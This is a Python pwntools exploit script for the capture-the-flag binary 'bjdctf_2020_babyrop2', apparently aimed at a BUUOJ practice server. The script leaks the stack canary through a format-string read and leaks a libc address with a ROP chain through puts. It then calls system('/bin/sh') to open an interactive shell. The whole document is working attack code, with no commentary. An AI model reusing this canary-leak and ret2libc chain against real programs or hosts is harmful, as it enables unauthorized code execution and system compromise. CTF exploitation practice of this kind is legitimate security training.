from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

# io  = remote('192.168.95.131',10001)
# io = process("./bjdctf_2020_babyrop2")
io = remote('node4.buuoj.cn',26960)

elf = ELF('./bjdctf_2020_babyrop2')
pause()

pop_rdi_ret_addr = 0x0000000000400993
puts_plt_addr = elf.plt["puts"]
puts_got_addr = elf.got["puts"]
main_addr = elf.symbols["main"]

io.recvuntil(b"I'll give u some gift to help u!")
io.sendline(b"%7$p")
canary_value = io.recvuntil(b"\nPull")
canary_value = canary_value.replace(b"\n", b"").replace(b"Pull", b"")

canary_value = (int(canary_value, 16))
# io.recv()
# io.recv()
# io.recvuntil(b"Pull up your sword and tell me u story!")
payload = flat(b"A"*24, canary_value ,b"A"*8, pop_rdi_ret_addr, puts_got_addr, puts_plt_addr, main_addr)
pause()
io.sendline(payload)

io.recvuntil(b"up your sword and tell me u story!\n")
# print(io.recv(6))
real_puts_addr = io.recv(6)
real_puts_addr = real_puts_addr.ljust(8,b"\x00")
real_puts_addr = u64(real_puts_addr)
print("real_puts_addr = ",hex(real_puts_addr))

libc = LibcSearcher("puts", real_puts_addr)
libc_base_addr = real_puts_addr - libc.dump("puts")
real_system_addr = libc_base_addr + libc.dump("system")
real_str_bin_sh = libc_base_addr + libc.dump("str_bin_sh")

io.recvuntil(b"I'll give u some gift to help u!")
io.sendline(b"%7$p")
canary_value = io.recvuntil(b"\nPull")
canary_value = canary_value.replace(b"\n", b"").replace(b"Pull", b"")

canary_value = (int(canary_value, 16))

payload = flat(b"A"*24, canary_value ,b"A"*8, pop_rdi_ret_addr, real_str_bin_sh, real_system_addr, main_addr)

io.sendline(payload)

io.interactive()
io.recv()